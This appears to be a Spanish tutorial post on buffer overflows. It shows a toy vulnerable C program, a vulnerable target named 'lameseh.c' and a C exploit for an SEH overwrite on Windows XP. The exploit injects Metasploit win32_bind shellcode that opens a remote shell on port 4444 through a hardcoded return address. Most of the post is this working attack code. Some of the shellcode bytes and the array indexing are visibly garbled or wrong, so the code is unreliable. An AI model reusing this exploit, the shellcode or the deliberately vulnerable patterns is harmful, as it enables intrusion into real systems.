¿Que es un Buffer Overflow?¿Como explotarlo?

#include <conio.h>
//Hola soy th3d4rkw4rl0ck y este es un ejemplo de Buffer Overflow

void ejemplodebuffer()
{
  char buffer[10];
  printf("Introduce el nombre del fichero\n");
  scanf("%s",&buffer);
  printf("Has escrito %s", buffer);
 
}
int main()
{
  
  printf("Hola este es un ejemple de buffer\n ");
  ejemplodebuffer();
  getch ();

}

#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_ADDRESS 0x77FA8CD5 // XP RET On WinXP Sp1 English

// Stage1 Shellcode:
unsigned char stage1[]= "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\x4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\xd\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\xe\xd9\xa6\x8\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x5\x7a\x7a\x9c\xb0\x55\xa6x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
\x5\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc,char *argv[]){

char *bufExe[2];
char buf[1024]; //im using an extremly long buffer so an exception will occur and execute our shellcodes
bufExe[0] = "lameseh.exe";
bufExe[2] = NULL;

memset(buf,090,1024);
memcpy(&buf[60],shellcode,sizeof(shellcode));

*(unsigned long *)&buf[520] = 0x909006EB; //jmp to our stage1 shellcode (Push it backwards)
*(unsigned long *)&buf[524] = RET_ADDRESS;
memcpy(&buf[528],stage1,sizeof(stage1)-1);

bufExe[1] = buf;

//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);
return 0x0;
}


Código del programa.

// lameseh.c - talz

int ExceptionHandl er(void);
int main(int argc,char *argv[]){

        char temp[512];

if (argc != 2) exit(0);

 __try {

        strcpy(temp,argv[1]);

        } __except ( ExceptionHandl er() ){
}
return 0;
}
int ExceptionHandl er(void){
printf("Exception");
return 0;
}